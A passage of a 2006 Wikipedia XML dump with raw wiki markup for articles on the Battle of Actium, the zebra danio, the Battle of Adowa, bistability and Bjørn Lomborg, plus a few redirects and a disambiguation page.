      <minor />
      <comment>Fixed the text next to &quot;Military Heritage&quot; link</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of Actium
|partof=[[Antony's civil war]]
|image=[[Image:Castro, Battle of Actium.jpg|300px|''The Battle of Actium'', by Lorenzo A. Castro, painted 1672.]]
|caption=''The battle of Actium'', by Lorenzo A. Castro, 1672.
|date=[[2 September]], [[31 BC]]
|place=[[Ionian sea]], near the Roman colony of Actium, [[Greece]]
|result=Decisive Octavian victory
|combatant1=[[Caesar Augustus|Octavian]]
|combatant2=[[Mark Antony]], [[Cleopatra VII of Egypt]]
|commander1=[[Marcus Vipsanius Agrippa]]
|commander2=[[Mark Antony]]
|strength1=260 warships, mostly [[liburnian]] vessels
|strength2=220 warships, mostly [[quinquereme]]s and 60 egyptian warships
|casualties1=Unknown
|casualties2=Almost all of Antony's fleet
}}



The '''Battle of Actium''' was a [[naval battle]] of the [[Roman Civil War]] between [[Mark Antony]] and [[Caesar Augustus|Octavian]] (Caesar Augustus). It was fought on [[September 2]], [[31 BC]], near the Roman colony of [[Actium]] in [[Greece]] (near the modern-day city of [[Preveza]]), on the [[Ionian Sea]]. Octavian's fleet was commanded by [[Marcus Vipsanius Agrippa]], Antony's fleet was supported by the fleet of his lover, [[Cleopatra VII of Egypt|Cleopatra]], queen of [[History of Greek and Roman Egypt|Egypt]]. The battle was won by the forces of Octavian, whose victory led him to become the [[Princeps]] [[Augustus]], later considered to be the first [[Roman Emperor]]: for this reason the date of the battle is often used to mark the end of the [[Roman Republic]] and the beginning of the [[Roman Empire]].

==Prelude==

The second [[triumvirate]] broke up due to the serious threat that Octavian felt of [[Caesarion]], the son of Cleopatra and Caesar. Octavian's base of power was his link with Caesar through adoption, which granted him much-needed popularity and loyalty of the legions. To see this convenient situation threatened after Antony declared that Caesarion was the legimate heir to Julius Caesar, a propaganda war between the allies began ending the second triumvirate on the last day of 33 BC. Finally the Senate deprived Antony of his power and declared war against Cleopatra. A third of the Senate and two consuls joined Antony's side and in 31 BC, the war started when Octavian's talented general Agrippa captured the Greek city and naval port of Methone which was loyal to Antony.  Mark Antony was an excellent soldier, but his lack of experience in naval matters at sea was his downfall.

==The battle==

[[Image:Battle_of_actium.jpg|thumb|400px|left|Battle plan]]The two fleets met outside the [[gulf of Actium]], on the morning of September 2, 31 BC, with Mark Antony leading 220 warships through the straits toward the open sea. There he met the fleet of Octavian, led by Admiral Agrippa, arranged to block his exit in an arc from the south. Mark Antony's warships were mostly massive [[quinquereme]]s, huge galleys with massive rams that could weigh up to three tons. The bows of the galleys were armored with bronze plates and square-cut timbers making it difficult to successfully ram them with similar equipment. Unfortunately for Antony, many of his ships were undermanned because of a severe malaria that had struck his forces while he was waiting for Octavian's fleet to arrive. Many oarsmen had died even before the battle began thus making them unable to execute the tactics for which they were designed--powerful, head-on collisions. Also the morale of his troops had weakened due to the cutting of supply lines. Antony had burned those ships he could no longer man and clustered the rest tightly together. 

Octavian's fleet was mostly smaller fully manned Liburnian vessels, armed with better trained and fresher crews.  His ships were also lighter and could protect themselves by outmanuvering the quinqueremes in Roman naval battle, where one objective was to ram the enemy ship and at the same time kill the above deck crew with a shower of arrows and catapult-launched stones large enough to decapitate a man.  Before the naval battle Mark Antony's general known as Delius defected to Octavian and brought with him Mark Antony’s battle plans. Antony had hoped to use his biggest ships to drive back Agrippa's wing on the north end of his line, but Octavian's entire fleet stayed carefully out of range. Shortly after mid-day, Antony was forced to extend his line out from the protection of the shore, and then finally engage the enemy.

Seeing that the battle was going against Antony, Cleopatra's fleet retreated to open sea without firing a shot. Mark Antony retreated to a smaller vessel with his flag and managed to escape the battle, taking a few ships with him as an escort to help break through Octavian's lines. Those that he left behind, however, were not so fortunate: Octavian's fleet captured or sank all of them.

==Aftermath==

[[Image:Ballistae on roman ship.JPG|thumb|200px|[[Ballista|Ballistae]] on a Roman ship.]]
The political consequences of this seemingly simple sea battle were tremendous.  The proper perspective is that Mark Antony's army was just as large as Octavian's, and the accomplished general Mark Antony could seriously challenge Octavian.  As a result of losing the sea battle, Mark Antony's army deserted in large numbers without engaging Octavian's army in battle. Antony lost some 19 infantry legions and 12,000 cavalry, deserting under cover of darkness, debilitating Mark Antony's ability to challenge Octavian. Despite a brief victory at Alexandria, on July 31, 30 BC, Mark Antony's armies decided to desert, leaving him without a competent army to fight Octavian. 

After losing his army to desertion, Mark Antony committed suicide, and, as a result, Cleopatra attempted to negotiate surrender terms with Octavian.  Upon failure to have favorable surrender terms Cleopatra committed suicide on August 12, 30 BC, by allowing herself to be bitten by a poisonous [[asp]] that was reportedly hidden in a basket of dates.  In summary, the Battle of Actium resulted in the loss of Mark Antony's army, and then his defeat, and the taking of Egypt by the Roman Empire. Also the battle ended the era of Roman Republic and began the time of the Roman Empire.
An account of the battle appears in [[Virgil]]'s [[Aeneid]].

==References==
* {{1911}}
*[[Military Heritage]] published a feature about the Battle of Actium, involving Mark Antony, Gaius Julius Caesar Octavianus (aka Octavian) (Julius Caesar's 18-year old adopted son and heir), and Cleopatra of Egypt (Joseph M. Horodyski, Military Heritage, August 2005, Volume 7, No. 1, pp 58 to 63, and p. 78), ISSN 1524-8666. 
==External links==
* [http://luna.cas.usf.edu/~murray/actium/brochure.html The Actium Project]

[[Category:31 BC]]
[[Category:Battles of the Roman Republic|Actium 31 BC]]
[[Category:Naval battles|Actium 31 BC]]
[[Category:Julio-Claudian Dynasty]]

[[af:Slag van Actium]]
[[bg:Битка при Акциум]]
[[cs:Bitva u Actia]]
[[da:Søslaget ved Actium]]
[[de:Schlacht bei Actium]]
[[es:Batalla de Actium]]
[[eo:Batalo de Aktio]]
[[fr:Bataille d'Actium]]
[[ko:악티움 해전]]
[[hr:Bitka kod Akcija]]
[[ms:Pertempuran Actium]]
[[nl:Slag bij Actium]]
[[ja:&amp;#12450;&amp;#12463;&amp;#12486;&amp;#12451;&amp;#12454;&amp;#12512;&amp;#12398;&amp;#28023;&amp;#25126;]]
[[no:Slaget ved Actium]]
[[pl:Bitwa pod Akcjum]]
[[pt:Batalha de Áccio]]
[[sv:Slaget vid Actium]]
[[uk:Битва при Акції]]</text>
    </revision>
  </page>
  <page>
    <title>Zebra Danio</title>
    <id>5009</id>
    <revision>
      <id>41733649</id>
      <timestamp>2006-03-01T10:32:30Z</timestamp>
      <contributor>
        <username>That Guy, From That Show!</username>
        <id>419920</id>
      </contributor>
      <comment>migrate {{web reference}} (deprecated)  to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Zebra Danio
| image = Zebra.jpeg
| image_width = 250px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Actinopterygii]]
| ordo = [[Cypriniformes]]
| familia = [[Cyprinidae]]
| genus = '''''[[Danio]]'''''
| species = '''''D. rerio'''''
| binomial = ''Danio rerio''
| binomial_authority = ([[Francis Hamilton-Buchanan|Hamilton-Buchanan]], [[1822]])
}}
The '''Zebra Danio''' or '''Zebrafish''' (''Brachydanio rerio'' or ''Danio rerio'') is a [[tropical]] [[fish]], commonly kept in [[aquarium|aquaria]] and used for scientific research, belonging to the minnow family ([[Cyprinidae]]). The fish is named for its five uniformly, pigmented, horizontal [[blue]] stripes on the side of the body; all extending to the [[anal fin]] onto the end of [[caudal fin]] rays of its tail. Zebra Danios are of no economic importance in commercial fisheries as a [[food fish]], but very commonly known and popular in the [[aquarium]] trade. They are hardy fish and considered good for beginner aquarists. This species has been called one of the &quot;bread and butter&quot; fishes because of its ease of keeping, continued popularity and its favorable price and availability. 

Originating in Eastern [[India]] as well as in [[Pakistan]], [[India]], [[Bangladesh]], [[Nepal]] and [[Myanmar]], it grows to about 2 [[inch]]es (6 [[centimetre|cm]]) and lives for around 5 years. The zebra danio, in its native range, commonly inhabits streams, canals, ditches, ponds and also occurs in slow-moving to stagnant standing water bodies, particularly [[rice paddy|rice fields]]. In the aquarium trade, there are long-finned and other color forms of this danio, including a &quot;Leopard&quot; danio.

Like other danios it is [[omnivore|omnivorous]] and a peaceful fish that gets along well with other fish of similar size in [[aquarium|community tanks]].  A schooling fish, it prefers to be in groups of six or more.  Zebra Danios prefer water with a 6.0&amp;ndash;8.0 [[pH]], a water hardness of up to 5.0&amp;ndash;19.0 [[dGH]], and a temperature range of 64&amp;ndash;74 °[[Fahrenheit|F]] (18&amp;ndash;24 °[[Celsius|C]]). 

The males have gold stripes between the blue stripes and females have silver stripes instead of gold.  An egg-scatterer, danios produce around 100 eggs in a single [[spawning]]. They are considered one of the easiest aquarium fish to breed.

Other fish also share the name [[zebrafish]].

== Diseases ==
Zebra Danio are susceptible to [[Oodinium]], or [[Velvet disease]].

== Feeding ==
Zebra Danios are omnivorous. In the wild, these fish consume various small aquatic [[insects]], [[crustacean]]s, [[worms]] as well as [[plankton]]. For this reason, they can be used to reduce [[mosquito]] [[larvae]] populations in [[pond]]s and ditches. For zebra danios living in aquaria, live/frozen flaked foods are suitable, especially [[brine shrimp]] and [[sinking tablets]]. When conditioning zebras for breeding, it's advisable to feed them plenty of fresh foods.

== Model organism for development and genetics==
Zebra Danios serve as a common and useful [[model organism]] for studies of [[vertebrate]] development and gene function because they reproduce very easily, passing from the egg to the larvae stage in less than three days. For genetic research groups, the zebrafish is an excellent test subject and is used in many labs to replace or to supplement higher vertebrate models, such as rats and mice. ''Danio rerio'' is one of the few species of fish to have been flown into space (See [[Animals in space]]).  Aided by the transparency of the embryo, if researchers modify the fish's genotype at the egg stage they can see resulting changes in organ shape or dynamics barely three days later.  The arrival of zebrafish as a major model for studying developmental biology co-incided with a large scale [[Mutation|mutagenesis screen]]. The scholarly journal [http://dev.biologists.org/ Development] devoted an issue to research using the fish in celebration of this landmark. &lt;sup&gt;[http://dev.biologists.org/content/vol123/issue1/]&lt;/sup&gt;  A common [[reverse genetics]] technique is to knock down [[gene expression]] or modify [[Splicing_(genetics)|splicing]] in zebrafish using [[Morpholino]] antisense technology; the journal [http://www3.interscience.wiley.com/cgi-bin/jhome/68503812  Genesis] devoted an issue to research using Morpholino oligos&lt;sup&gt;[http://www.wiley.com/legacy/products/subject/life/anatomy/genesis_morpholino.html]&lt;/sup&gt;, mostly in &lt;i&gt;Danio rerio&lt;/i&gt;. 

The results of genetic engineering in these fishes have been used to produce the [[Glofish]], an aquarium pet with fluorescent pigments. Other varieties include ''golden'', ''sandy'' and ''long fin'' fish.

In December 2005, a study of the ''golden'' strain identified the gene responsible for the unusual pigmentation of this strain as [[SLC24A5]], a solute carrier that appears to be required for [[melanin]] production, and confirmed its function with a Morpholino knockdown. The [[Orthologue|orthologous]] gene was then characterized in humans and a one base pair difference was found to segregate strongly between fair skinned Europeans and dark skinned Africans. &lt;sup&gt;[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=16357253&amp;query_hl=38&amp;itool=pubmed_docsum]&lt;/sup&gt; This important study featured on the cover of the academic journal [[Science (journal)|Science]] and demonstrates the power of zebrafish as a model organism in the relatively new field of [[comparative genomics]].

==Zebra danios as an introduced species==
Zebra danios have been [[introduced species|introduced]] and become established in [[Japan]] and the [[United States]]. The fish has also been sighted in [[Colombia]], presumably escaped from an [[aquarium]] fish rearing facility and into local waters. 


==Former Names and Synonyms==
*Barilius rerio
*Cyprinus chapalio
*Brachydanio rerio
*Cyprinus rerio
*Danio lineatus
*Nuria rerio
*Perilampus striatus

== See also ==
*[[Danionin]]s
*[[List of freshwater aquarium fish species]]
*[[Leopard Danio]]

== External links ==
*[http://zfin.org/cgi-bin/webdriver?MIval=aa-ZDB_home.apg The Zebrafish Information Network]
*[http://www.danios.info/Contents/species/danio1.asp Danio rerio]

== References ==
*{{ITIS|ID=163699|taxon=Danio rerio|year=2004|date=12 November}}
*{{FishBase species alt|ID=4653|taxon=Danio rerio|year=2004|month=October}}
*{{cite book
 | author=Lambert, Derek J
 | title=Freshwater Aquarium Fish
 | publisher= Edison, New Jersey: Chartwell Books
 | year=1997
 | pages=Page 19
 | id = ISBN 0-7858-0867-1}}
*{{cite web|author=Sharpe, Shirlie|title=Zebra Danio|work=Your Guide to Freshwater Aquariums|url=http://freshaquarium.about.com/cs/cyprinids2/p/zebradanio.htm|accessdate=December 15|accessyear=2004}}
*[http://zfin.org/ Zebrafish information network]

{{Model Organisms}}

[[Category:Model organisms]]
[[Category:Cold-water aquarium fish]]
[[Category:Danios]]

[[de:Zebrabärbling]]
[[fr:Poisson zèbre]]
[[hu:Zebradánió]]
[[nl:Zebravis]]
[[ja:ゼブラフィッシュ]]
[[pl:Danio pręgowany]]
[[fi:Seeprakala]]</text>
    </revision>
  </page>
  <page>
    <title>Blind Cave Tetra</title>
    <id>5010</id>
    <revision>
      <id>15903254</id>
      <timestamp>2004-12-17T23:20:29Z</timestamp>
      <contributor>
        <username>Tkinias</username>
        <id>9855</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Mexican tetra]]</text>
    </revision>
  </page>
  <page>
    <title>Balance</title>
    <id>5011</id>
    <revision>
      <id>42017081</id>
      <timestamp>2006-03-03T06:13:09Z</timestamp>
      <contributor>
        <username>Bawtyshouse</username>
        <id>869435</id>
      </contributor>
      <text xml:space="preserve">For meanings of the word '''balance''', see:
{{wiktionarypar|balance}}

*[[Sense of balance]] (equilibrium), which maintains physical balance in humans and animals
*[[Balance (public media coverage of politics)]]
*[[Weighing scale]]
*[[Balance beam]], gymnastics apparatus
*Biological balance ([[Homeostasis]]) within a human or other animal's body
*[[Balance (metaphysics)]], a desirable point between opposite forces
*BALANCE Act {[[H.R. 1066]]}, Benefit Authors without Limiting Advancement or Net Consumer Expectations 
*[[Balance (accounting)]]
*[[Balance (band)]], a [[1980s]] [[pop/rock]] group 
*[[Stereophonic sound#Balance]]
*[[Engine balance]]
*[[Balance (album)]] by Van Halen
*''[[Balance (animation)]]'', a 1989 Academy Award winning short film
Similar terms:
*[[Balanced]] signal (electronics)
*[[Rebalancing (investment)]], an action to bring investments in line with target asset allocation

==See also==
*[[Equilibrium]]
*[[Stability]]

{{disambig}}
[[da:Balance]]
[[de:Waage (Begriffsklärung)]]
[[fr:Balance]]
[[he:מאזניים]]
[[is:Jafnvægi]]
[[la:Libra]]
[[nl:Weegschaal (voorwerp)]]
[[pt:Libra]]</text>
    </revision>
  </page>
  <page>
    <title>Briscoe County, Jr.</title>
    <id>5012</id>
    <revision>
      <id>15903256</id>
      <timestamp>2003-06-03T18:23:00Z</timestamp>
      <contributor>
        <username>Jimregan</username>
        <id>10064</id>
      </contributor>
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[The Adventures of Brisco County, Jr.]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Adowa</title>
    <id>5013</id>
    <revision>
      <id>41811613</id>
      <timestamp>2006-03-01T22:28:20Z</timestamp>
      <contributor>
        <username>Debivort</username>
        <id>267139</id>
      </contributor>
      <minor />
      <comment>disambiguate wikilink</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|image=
|caption=
|campaign=
|conflict=Battle of Adowa
|partof=the [[First Italo-Abyssinian War]]
|date=[[March 1]], [[1896]]
|place=[[Adowa]], [[Ethiopia]]
|result=Ethiopian strategic and tactical victory; end of First Italo-Abyssinian war
|combatant1=[[Ethiopia]]
|combatant2=Kingdom of [[Italy]]
|commander1=[[Ras Makonnen]]
|commander2=[[Oreste Baratieri]]
|strength1=about 120,000; artillery,&lt;br&gt; machine guns, cavalry; 20,000 were armed only with spears
|strength2=14,527 men,&lt;br&gt; 56 guns
|casualties1=10,000
|casualties2=5,900
}}


The '''Battle of Adowa''' (also known as ''Adwa'' or sometimes by the Italian name ''Adua'') was fought on [[March 1]], [[1896]] between [[Ethiopia]] and [[Italy]] near the town of [[Adowa]], Ethiopia, in [[Tigray Region| Tigray]]. It was the climactic battle of the [[First Italo-Abyssinian War]]. 

As the twentieth century approached, [[Africa]] had been carved up between the various [[Europe]]an powers, with the exception of the tiny republic of [[Liberia]] on the west coast of the continent and the ancient, landlocked kingdom of Ethiopia, bordering the strategic [[Horn of Africa]]. Italy, a relative newcomer to the [[colonialism|colonial]] [[scramble for Africa]], having been left with only two impoverished territories on the Horn, [[Eritrea]] and [[Somaliland|Somalia]], sought to increase its influence by conquering Ethiopia and creating a land bridge between its two territories. Italy and Ethiopia faced off in First Italo-Abyssinian War, with the two armies at a standoff in Tigray.

By late February, [[1896]], supplies on both sides were running dangerously low. Succumbing to pressure from the Italian government, General [[Oreste Baratieri]] made the first move on the night of [[February 29]]. He did not calculate the rough terrain, however, and his army was divided into small pockets of troops without contact with each other. This was observed by the Ethiopian commander [[Ras Makonnen]] (father of Emperor [[Haile Selassie]]), who ordered his troops to attack. By morning, troops belonging to Emperor [[Menelik II]] and Empress [[Taytu Betul]] joined the forays.

The 14,527 Italians were heavily outnumbered by over 120,000 Ethiopians and were eventually encircled and routed. Further casualties resulted from the heavy skirmishing as the Italians retreated to their bases. The Italians took 5,900 casualties, while the Ethiopians had about 10,000.

As a direct result of the battle, Italy signed the [[Treaty of Addis Ababa]], recognizing Ethiopia as an independent state. Responsibility for the fiasco fell on Baratieri, and he was relieved of his command. The humiliation remained with Italy for almost forty years, until [[1935]], when during the [[Second Italo-Abyssinian War]] Italy commenced a short-lived conquest of Ethiopia. 

The defeat of a colonial power and ensuing recognition of African sovereignty would be rallying points for later African nationalists during the struggle for decolonization.

== Bibliography ==
* David Levering Lewis, &quot;Pawns of Pawns: Ethiopia and the Mahdiyya&quot; in ''The Race for Fashoda''. New York: Weidenfield and Nicholson, 1987. ISBN 1555840582
* Chris Prouty, &quot;War with Italy: Amba Alage, Meqellle, Adwa&quot; in ''Empress Taytu and Menelik II: Ethiopia 1883–1910''. Trenton: The Red Sea Press, 1986. ISBN 0932415113

== See also ==
*[[Second Italo-Abyssinian War]]

== External links ==
*[http://www.thehistorynet.com/mh/bladowa/ Historynet: Ethiopia's Decisive Victory at Adowa]

[[Category:Battles of the Italo-Abyssinian Wars|Adowa]]

[[de:Schlacht von Adwa]]
[[fr:Bataille d'Adoua]]
[[ja:&amp;#12450;&amp;#12489;&amp;#12527;&amp;#12398;&amp;#25126;&amp;#12356;]]
[[pl:Bitwa pod Aduą]]</text>
    </revision>
  </page>
  <page>
    <title>Bistable</title>
    <id>5014</id>
    <revision>
      <id>27213603</id>
      <timestamp>2005-11-03T02:18:47Z</timestamp>
      <contributor>
        <ip>205.175.225.5</ip>
      </contributor>
      <text xml:space="preserve">:''For electronics, see [[Flip-flop (electronics)]], or the bistable [[multivibrator]]''.
----
Something that is '''bistable''' can be resting in two states. In physics, for an [[ensemble]] or particles, the bistability comes from the fact that its [[free energy]] has three [[critical point]]s. Two of them are [[minimum|minima]] and the last is a [[maximum]]. By mathematical arguments, the maximum must lie between the two minima. By default, the system state will be in either of the minima states, because that corresponds to the state of lowest energy. The maximum can be visualised as a barrier.

A transition between the state of minimal free energy needs some form of activation energy to penetrate the barrier (compare [[activation energy]] and [[Arrhenius equation]] for the chemical case.) After the barrier has been reached, the system will relax into the next state of lowest energy again. The time it takes is usually attributed the [[relaxation time]]. (There might be uncertainty as to which state will be the new one, but it is often well defined in the situation.)

==See also==
*[[ferroelectric]], [[ferromagnetic]], [[hysteresis]], [[bistable perception]]
*[[astable]] multivibrator, [[monostable]] multivibrator.

[[Category:Digital electronics]]</text>
    </revision>
  </page>
  <page>
    <title>Bjørn Lomborg</title>
    <id>5015</id>
    <revision>
      <id>41828045</id>
      <timestamp>2006-03-02T00:28:38Z</timestamp>
      <contributor>
        <ip>24.23.60.170</ip>
      </contributor>
      <comment>/* Discussions in the media */</comment>
      <text xml:space="preserve">[[Image:Bjørn Lomborg small.JPG|thumb|Bjørn Lomborg]]

'''Bjørn Lomborg''' (born [[January 6]], [[1965]]) is a [[Denmark|Danish]] [[political science|political scientist]] and former director of the [[Environmental Assessment Institute]] in [[Copenhagen]]. He is most known for his best-selling [[controversial book]] ''[[The Skeptical Environmentalist]]'', and the allegations of scientific dishonesty that followed it. He is now an adjunct professor at the [[Copenhagen Business School]].

Lomborg is also a [[vegetarian]] (although he is not a supporter of [[animal rights]]), openly [[gay]], and known to wear [[jeans]] to formal business meetings.

According to an interview published in 2005 by the [[San Francisco Examiner]], the book he would most liked to have written is ''[[Guns, Germs, and Steel|Guns, Germs, and Steel: The Fates of Human Society]]'', by [[Jared Diamond]].

== Academic career ==
Bjørn Lomborg spent one year as an [[undergraduate]] at the [[University of Georgia]], earned a [[Masters]] in political science at the [[University of Aarhus]] in [[1991]], and earned a [[Ph.D.]] at the Department of Political Science, [[University of Copenhagen]], [[1994]]. 

He lectured in [[statistics]] in the Department of Political Science at the University of Aarhus, as an [[assistant professor]] (1994&amp;ndash;1996) and [[associate professor]] (1997&amp;ndash;2001). Because of this activity, he has often been described as a ''statistician'', though he is more accurately referred to as a ''political scientist'' as his education is in this field.

In 1996, Lomborg's paper, &quot;Nucleus and Shield: Evolution of Social Structure in the Iterated Prisoner's Dilemma&quot;, was published in the [[academic journal]], ''[[American Sociological Review]]'' (vol. 61(2):278-307). This was followed by his most famous book, ''The Skeptical Environmentalist'', whose English translation was published as a peer-reviewed work in environmental economics by Cambridge University Press in 2001. He later edited ''Global Crises, Global Solutions'', which presented the first conclusions of the [[Copenhagen Consensus]], published in 2004 by the Cambridge University Press.

His professional areas of interest include the simulation of strategies in [[collective action]] [[Ethical dilemma|dilemmas]], simulation of [[political party|party]] behavior in [[Party-list proportional representation|proportional voting system]]s, use of surveys in [[public administration]], and use of statistics in the [[Environmental movement|environmental arena]].

== The Skeptical Environmentalist ==
:''Main article:'' [[The Skeptical Environmentalist]]

In [[1998]], Lomborg published four [[essay|articles]] about the state of the [[Natural environment|environment]] in the leading Danish newspaper ''[[Politiken]]'', which according to him &quot;resulted in a firestorm debate spanning over 400 articles in major metropolitan newspapers.&quot;&lt;ref&gt;[http://www.lomborg.com/biograph.htm Bjorn Lomborg Biography], www.lomborg.com. Retrieved 26-Feb-2006.&lt;/ref&gt;

In 2001, he attained significant attention by publishing ''The Skeptical Environmentalist'', a [[controversial book]] whose main thesis is that most of the most-publicized claims and dire predictions of [[environmentalist]]s are exaggerated.

He has in this context claimed to have been a supporter of [[Greenpeace]]. When challenged that Greenpeace had no record of him ever being a member or supporter, he stated that he had given money to Greenpeace collectors. Greenpeace has no card carrying membership.

== Copenhagen Consensus ==
:''Main article: [[Copenhagen Consensus]]''

In [[2002]], Lomborg and the Environmental Assessment Institute founded the Copenhagen Consensus, which sought to establish priorities for advancing [[world|global]] welfare using methodologies based on the theory of [[welfare economics]]. A panel of prominent [[economics|economists]] was assembled to evaluate and rank a series of problems. The project was funded largely by the Danish government, and co-sponsored by ''[[The Economist]]''. A book summarizing the conclusions, ''[[Global Crises, Global Solutions]]'', edited by Lomborg, was published in October 2004 by [[Cambridge University Press]].

== Later activities ==
In March 2002, the newly elected center-right [[prime minister]] appointed Lomborg to run Denmark's new [[Environmental Assessment Institute]] (EAI).

On [[June 22]] [[2004]], Lomborg announced his decision to resign from his post at the EAI to go back to the University of Aarhus, stating that his work at the Institute was done and that he could better serve the public debate from the academic sector; he left the University on [[February 1]], [[2005]].

== Recognitions and awards ==
In November 2001, Lomborg was selected &quot;Global Leader for Tomorrow&quot; by the [[World Economic Forum]].

In June 2002, [[BusinessWeek]] named Lomborg one of the &quot;50 Stars of Europe&quot; ([[June 17]]), in the category of Agenda Setters. The magazine credentialed him as &quot;statistician&quot; and noted, &quot;No matter what they think of his views, nobody denies that Bjorn [sic] Lomborg has shaken the environmental movement to its core.&quot;&lt;ref&gt;[http://www.businessweek.com/@@*f80dYcQmsnuwBwA/magazine/content/02_24/b3787628.htm The Stars of Europe - Agenda Setters - Bjorn Lomborg]. BusinessWeek Online, 17-Jun-2002. Retrieved 26-Feb-2006.&lt;/ref&gt;

Lomborg was selected as one of ''[[Time (magazine)|TIME]]'' magazine's 100 most influential people of 2004.

== Accusations of scientific dishonesty ==
After the publication of ''The Skeptical Environmentalist'', Lomborg was accused of scientific misconduct. Several environmental scientists brought a total of three complaints against Lomborg to the [[Danish Committees on Scientific Dishonesty]] (DCSD), a body under Denmark's [[Ministry of Science, Technology and Innovation]]. The charges claimed that ''The Skeptical Environmentalist'' contained deliberately misleading data and flawed conclusions. Due to the similarity of the complaints, the DCSD decided to proceed on the three cases under one investigation.

On [[January 6]], [[2003]] the DCSD reached a decision in the complaints. The ruling was a mixed message, finding that the book was scientifically dishonest, but Lomborg himself not guilty by virtue of lack of expertise in the fields in question.&lt;ref&gt;[http://forsk.dk/pls/portal/url/ITEM/EF36913D939B7142E030E00A8201731A The Danish Committees on Scientific Dishonesty: 2003 Annual Report]. Retrieved 26-Nov-2005.&lt;/ref&gt;  Specifically, they cited ''TSE'' for:

#Fabrication of data;
#Selective discarding of unwanted results (selective citation);
#Deliberately [[bias (statistics)|misleading use of statistical methods]];
#Distorted interpretation of conclusions;
#[[Plagiarism]];
#Deliberate misinterpretation of others' results.

The wording of the ruling left no doubt that the DCSD, while not finding Lomborg guilty, was not exonerating him either:

:''Objectively speaking, the publication of the work under consideration is deemed to fall within the concept of scientific dishonesty. ... In view of the subjective requirements made in terms of intent or gross negligence, however, Bjørn Lomborg's publication cannot fall within the bounds of this characterization. Conversely, the publication is deemed clearly contrary to the standards of good scientific practice.''

On [[February 13]], [[2003]], Lomborg filed a complaint with the Ministry of Science, Technology and Innovation against the DCSD's decision.

On [[December 17]], [[2003]], the Ministry found that the DCSD had made a number of procedural errors, including:

* The DCSD did not use a precise standard for deciding &quot;good scientific practice&quot; in the social sciences;
* The DCSD's definition of &quot;objective scientific dishonesty&quot; was not clear about whether &quot;distortion of statistical data&quot; had to be deliberate or not;
* The DCSD had not properly documented that ''The Skeptical Environmentalist'' was a scientific publication on which they had the right to intervene in the first place;
* The DCSD did not provide specific statements on actual errors.

The Ministry remitted the case to the DCSD, which invalidated the previous findings of scientific dishonesty in regard to the book. The Minstry also instructed the DCSD to decide whether to reinvestigate.

On [[March 12]], [[2004]], the Committee formally decided not to act further on the complaints, reasoning that they had already found Lomborg not guilty.  This effectively closed the case. &lt;ref name=&quot;BBC DCSD 2&quot;&gt;[http://news.bbc.co.uk/2/hi/science/nature/3340305.stm &quot;Lomborg celebrates ministry ruling&quot;]. BBC News, 22-Dec-2003. Retrieved 26-Feb-2006.&lt;/ref&gt; Two days later a complaint was issued by [[Kåre Fog]], a [[freelance]] [[ecology|ecologist]] who maintains an anti-Lomborg website. Fog reports that this  complaint was rejected on 27th Dec. 2004.&lt;ref&gt;[http://www.lomborg-errors.dk/lomborgstory14.htm ]. www.lomborg-errors.dk. Retrieved 26-Feb-2006.&lt;/ref&gt;

The DCSD decision about Lomborg provoked a [[petition]]&lt;ref&gt;[http://www.math.ku.dk/~dlando/indsamling.htm &quot;Underskriftsindsamling i protest mod afgørelsen om Bjørn Lomborg fra - Udvalgene Vedrørende Videnskabelig Uredelighed&quot;]. Retrieved 26-Feb-2006.&lt;/ref&gt; among Danish academics. 308 scientists, many of them from the social sciences, criticised the DCSD's methods in the case. A Dutch science-based [[think tank]], [[Heidelberg Appeal Nederland|Heidelberg Appeal the Netherlands]], published a report in which they claim that 25 out of 27 accusations against Lomborg to be unsubstantiated or not to the point.&lt;ref&gt;Rörsch, Arthur, et al. [http://www.stichting-han.nl/Commentaren/algemeen/2.critical%20concideration1.doc &quot;A Critical Consideration of the Verdict of the Danish Committee on Scientific Dishonesty on the Book by Bjorn Lomborg 'The Skeptical Environmentalist'&quot;]. Heidelberg Appeal the Netherlands, 4-April-2003. Retrieved 26-Feb-2006.&lt;/ref&gt;

In reaction to the pro-Lomborg petition, another group of Danish scientists collected signatures in support of the DCSD.  The 640 signatures in this second petition came almost exclusively from the medical and [[natural science]]s, and included [[Jens Christian Skou]] (a [[Nobel Prize|Nobel laureate]] for chemistry), former university [[rector]] [[Kjeld Møllgård]], and professor [[Poul Harremoës]] from the [[Technical University of Denmark]].&lt;ref&gt;[http://www.ulnits.dk/biologi/frame298.htm &quot;Verden ifølge Lomborg - eller den moderne udgave af &quot;Kejserens Nye Klæder&quot;: Han har jo ikke noget på...&quot;]. Retrieved 26-Feb-2006.&lt;/ref&gt;

== Discussions in the media ==
Since the release of ''The Skeptical Environmentalist'' in 2001, Lomborg was subjected to intense scrutiny and criticism in the [[media]], where his scientific qualifications and integrity were attacked and defended from time to time. The verdict of the Danish Committees for Scientific Dishonesty fuelled this debate and brought it into the spotlight of international [[mass media]]. By the end of 2003, ''The Skeptikcal Environmentalist'' had been translated into 12 languages, and Lomborg had become an international celebrity, with frequent appearances in radio, TV and print media around the world.&lt;ref name=&quot;BBC DCSD 2&quot;/&gt;

* ''[[Scientific American]]'' published strong criticism of Lomborg's book. Lomborg rebutted on his own [[website]], quoting the article at such length that ''Scientific American'' threatened to sue for copyright infringement. Lomborg eventually removed the rebuttal from his website; it was later published in [[PDF]] format on ''Scientific American'''s site.&lt;ref&gt;[http://www.sciam.com/article.cfm?articleID=00000B96-9517-1CDA-B4A8809EC588EEDF &quot;Bjørn Lomborg’s comments to the 11-page critique in January 2002 Scientific American (SA)&quot;]. Scientific American; rebuttal last upated 16-Feb-2002. Retrieved 26-Feb-2006.&lt;/ref&gt; The magazine also printed a response to the rebuttal.&lt;ref&gt;Rennie, John. [http://www.sciam.com/article.cfm?articleID=00040A72-A95C-1CDA-B4A8809EC588EEDF &quot;A Response to Lomborg's Rebuttal&quot;]. ''Scientific American'', 15-April-2002. Retrieved 26-Feb-2006.&lt;/ref&gt;

